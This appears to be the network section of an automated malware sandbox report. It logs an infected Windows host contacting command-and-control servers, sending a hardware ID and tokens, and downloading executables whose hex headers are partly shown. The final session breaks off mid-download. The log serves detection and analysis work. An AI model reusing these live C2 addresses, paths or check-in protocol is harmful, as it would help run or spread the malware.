Nov 12, 2024 15:41:24.974176884 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 12, 2024 15:41:27.835596085 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHDHIDGHIDGIECBKKJJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGHDHIDGHIDGIECBKKJJ--
Nov 12, 2024 15:41:28.629966974 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49761	185.215.113.16	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:41:24.983639956 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 12, 2024 15:41:25.925529957 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:41:25 GMT Content-Type: application/octet-stream Content-Length: 3226112 Last-Modified: Tue, 12 Nov 2024 14:29:56 GMT Connection: keep-alive ETag: "67336664-313a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 40 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf@1@p1g<1@Wk/1`/1 @.rsrc@.idata @kyacbjhi**@gutvihgg011@.taggant0@1"1@
Nov 12, 2024 15:41:25.925548077 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:41:25.925563097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:41:25.925573111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:41:25.925581932 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:41:25.925693989 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:41:25.925704956 CET	1236	IN	Data Raw: f2 76 de 07 94 c8 df 1f 79 f7 e2 22 8d 90 da 87 15 b5 9b 1f 99 ce 80 59 c0 12 ae 82 c6 0a 46 ce f2 76 de 07 b4 c8 df 1f 79 f7 e2 22 8d 90 da 87 1d b5 9b 1f 99 5e 8e 59 c0 12 ce 82 c6 0a 46 6e f2 76 de 07 54 c8 df 1f 79 f7 e2 22 8d 90 da 87 05 b5 Data Ascii: vy"YFvy"^YFnvTy"6YFvty"YF.vy"u&Y.FNv4y"}nYNFvy"efYnFvy"m
Nov 12, 2024 15:41:25.925715923 CET	424	IN	Data Raw: 99 a6 8c 59 c0 12 6e 86 c6 0a 46 0e fc 76 de 07 f4 cd df 1f 79 f7 e2 22 8d 90 ae 87 95 b4 9b 1f 99 a2 8b 59 c0 12 8e 87 c6 0a 46 ae fd 76 de 07 94 cd df 1f 79 f7 e2 22 8d 90 ae 87 89 b4 9b 1f 99 96 8c 59 c0 12 ae 87 c6 0a 46 ce fd 76 de 07 b4 cd Data Ascii: YnFvy"YFvy"YFvy"BYFnvTy"YFvty"1fYF.vy")VY.FNv4y"YNFv
Nov 12, 2024 15:41:25.925980091 CET	1236	IN	Data Raw: c6 0a 46 2e e1 76 de 07 14 ce df 1f 79 f7 e2 22 8d 90 a6 87 9d b3 9b 1f 99 ee 8c 59 c0 12 2e b8 c6 0a 46 4e e1 76 de 07 34 ce df 1f 79 f7 e2 22 8d 90 a6 87 89 b3 9b 1f 99 86 8e 59 c0 12 4e b8 c6 0a 46 ee e6 76 de 07 d4 cf df 1f 79 f7 e2 22 8d 90 Data Ascii: F.vy"Y.FNv4y"YNFvy"~YnFvy">YFvy"YFvy"YFnvTy"1&YFvty"
Nov 12, 2024 15:41:25.926069021 CET	1236	IN	Data Raw: 31 be 9b 1f 99 d6 89 59 c0 12 ee bd c6 0a 46 8e d0 76 de 07 74 c3 df 1f 79 f7 e2 22 8d 90 a2 87 15 be 9b 1f 99 1e 8c 59 c0 12 0e bd c6 0a 46 2e d0 76 de 07 14 c3 df 1f 79 f7 e2 22 8d 90 a2 87 05 be 9b 1f 99 46 8f 59 c0 12 2e bd c6 0a 46 4e d0 76 Data Ascii: 1YFvty"YF.vy"FY.FNv4y"u>YNFvy"aYnFvy"YYFvy"YFvy"YFnv
Nov 12, 2024 15:41:25.931142092 CET	1236	IN	Data Raw: 85 32 21 d8 63 6d 18 1a c0 3b 75 de 4c c9 44 6f fa 49 da d8 06 36 6e 9d 0a 0a e5 1d 54 34 9b 1f 87 fe e2 22 8d fe e2 22 8d 79 c6 3d b6 09 de b6 84 fe e2 22 8d fe e2 22 8d 65 21 02 7b 0b 54 66 4f 19 75 06 c9 b9 df 1f 47 f6 a6 e4 8b 6c 73 dc c5 0a Data Ascii: 2!cm;uLDoI6nT4""y=""e!{TfOuGls""e!{Kf3ck;/d2!cm""""e!oGvIvz?j tLz#Y92Yz#"""e!DrLdMu"e!{o{#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49782	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:04.390080929 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 15:42:04.691555977 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 15:42:05.294802904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49788	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:06.807251930 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 15:42:07.729624033 CET	468	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 35 0d 0a 20 3c 63 3e 31 30 30 35 37 36 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 37 36 32 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 37 36 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 <c>1005761001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005762031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005763001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49794	185.215.113.16	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:07.737766981 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 15:42:08.633552074 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:08 GMT Content-Type: application/octet-stream Content-Length: 1825280 Last-Modified: Tue, 12 Nov 2024 14:29:48 GMT Connection: keep-alive ETag: "6733665c-1bda00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 74 e1 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"0j@`jt@M$a$ $b@.rsrc $r@.idata $r@ +$t@jwxhholp@O<v@ajphrsoq j@.taggant00j"@
Nov 12, 2024 15:42:08.633667946 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:42:08.633884907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:42:08.633913040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:42:08.633929014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 15:42:08.633995056 CET	1236	IN	Data Raw: b7 40 24 39 11 5e bb c1 ae af 33 9b 2a 97 fd aa e4 cf 34 bb 74 1f b1 3e ec eb 94 14 36 34 38 b0 df ea 0d b4 79 a0 85 38 64 64 73 aa 25 b3 2a 62 ce d2 2b 2a 73 0b 65 c6 ad e4 4e d9 72 ae 7d 44 fb 30 0d 5f f4 9d a0 a0 45 4f 7a 1f ce a1 dd 45 dc a7 Data Ascii: @$9^34t>648y8dds%b+*seNr}D0_EOzE7KaA~>iKm?y_fo~Y1}Ty=K'r7Jgq/{[i'O/=Gz%(qLm-J;?J2OkP9{;z(Bq(0d~zw`X2v}/#SA`
Nov 12, 2024 15:42:08.634007931 CET	1236	IN	Data Raw: 51 c2 62 56 a3 eb ec 3f 5f 28 e6 34 2f 4c 5e 46 6d a5 29 2f 92 21 b7 de 71 94 b3 f1 ac ad 2c 22 64 52 f5 11 3c 53 68 b4 74 cf b5 c1 24 6f 7f d3 21 74 b0 1e 00 28 55 b7 1a 74 b1 a2 ae 90 05 40 90 aa e4 4c 41 65 88 58 59 9b cd 67 6a aa 21 e3 9e fc Data Ascii: QbV?_(4/L^Fm)/!q,"dR<Sht$o!t(Ut@LAeXYgj!5}IjbH8}yR=Ds?i(7B-AdjG_&;75 M=dl@ciPI$]n#d&JUo`vhi1`B=
Nov 12, 2024 15:42:08.634018898 CET	1236	IN	Data Raw: 77 bf 39 c0 d0 28 ae d3 91 a3 c2 76 83 67 bd 8f 69 28 cd 9e b1 2f 08 c1 1d 61 ea 0d e9 47 bc fd e2 38 28 3f 49 63 36 61 eb c4 ba c6 69 35 48 79 6d ad d0 4a 86 29 ff de 77 2f 64 bb 11 a7 f0 34 7f 68 bd 3e 22 35 bc 12 ec b7 1d 6f 0b 3c ee 78 51 40 Data Ascii: w9(vgi(/aG8(?Ic6ai5HymJ)w/d4h>"5o<xQ@Kwp?{mr78I<DniSO<Ear2/4w@\q1myw?wa'L':89Pe\lH=3GOr&~wi5x)uwZW3pc.;
Nov 12, 2024 15:42:08.634032965 CET	1236	IN	Data Raw: 79 a9 30 ec ec 38 67 cf a3 3a 5c 60 bf 4f d2 60 b2 e7 ee 4a 39 41 4f eb f1 a6 95 4b f2 72 68 87 77 17 31 59 41 a9 ee 09 a2 a6 b4 7a 87 3b 97 48 49 ac be f3 e6 35 c6 ba 9c 27 c2 82 a3 4b 38 5b 08 41 c8 be e8 35 bc be e9 83 f0 c7 86 a1 b5 de e5 35 Data Ascii: y08g:\`O`J9AOKrhw1YAz;HI5'K8[A55dY4H83yeFNC[]SXlGLqxxGx);j?xGxO0><KFLt]95"j6GmvOLd>qi5{@Jvz/ d
Nov 12, 2024 15:42:08.634047985 CET	1236	IN	Data Raw: e9 47 94 92 8d e5 b7 d1 c6 bf b4 4c 0d 61 88 c2 85 cf d1 b8 c5 d7 31 4d 29 6f 1d 8f 82 b9 d3 ba 4d 54 d0 40 77 0f ef 47 e5 65 33 58 59 57 ce 6c a3 5f cd a1 89 72 ce 3e 97 70 c8 4c 22 ad be 8b 72 33 f0 e4 69 35 f4 78 0d a7 d0 75 86 29 83 97 77 2f Data Ascii: GLa1M)oMT@wGe3XYWl_r>pL"r3i5xu)w/d0M@s2wL/8\#wslfzw0y1G0L'@XVa8wwm""<8 ?jC[kC,Mq6/Lf@Ht+n
Nov 12, 2024 15:42:08.638545036 CET	1236	IN	Data Raw: 83 23 f2 2c eb a8 20 4c 22 65 b8 7c 73 37 30 4d b9 41 0a 49 22 b2 d0 78 77 57 bd 7e a8 7a 04 7b 79 e3 34 54 77 c0 bc e6 e9 51 f5 bb 75 a3 b4 4c f9 64 10 3f a3 3b f5 bb 3e cb b4 4c 1d 61 a8 c2 83 25 ae 09 e0 b3 78 50 82 f3 b4 b2 eb a8 99 38 7a 2d Data Ascii: #, L"e\|s70MAI"xwW~z{y4TwQuLd?;>La%xP8z-~w.gN8r9F1{+JuL}0>Ii2<5>c903TO0x\L/oQr/MgiK\|f~5.M',-i7YFHf}WE3`/h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49801	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:27.262434959 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 35 37 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1005761001&unit=246122658369
Nov 12, 2024 15:42:28.171413898 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49802	185.215.113.206	80	7164	C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:27.997905970 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 15:42:28.935370922 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 15:42:28.938106060 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBAKKJKKECGDGCAECA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 42 43 41 37 36 43 38 30 35 33 34 32 32 38 33 31 39 34 30 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 2d 2d 0d 0a Data Ascii: ------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="hwid"D4BCA76C80534228319403------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="build"mars------DGDBAKKJKKECGDGCAECA--
Nov 12, 2024 15:42:29.229861021 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49803	185.215.113.16	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:28.866072893 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 12 Nov 2024 14:29:48 GMT If-None-Match: "6733665c-1bda00"
Nov 12, 2024 15:42:29.809155941 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:29 GMT Last-Modified: Tue, 12 Nov 2024 14:29:48 GMT Connection: keep-alive ETag: "6733665c-1bda00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49804	185.215.113.43	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:31.549177885 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 37 36 32 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005762031&unit=246122658369
Nov 12, 2024 15:42:32.450773001 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49805	185.215.113.16	80	7988	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:42:32.458106041 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 15:42:33.347965002 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 14:42:33 GMT Content-Type: application/octet-stream Content-Length: 2748416 Last-Modified: Tue, 12 Nov 2024 14:28:51 GMT Connection: keep-alive ETag: "67336623-29f000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 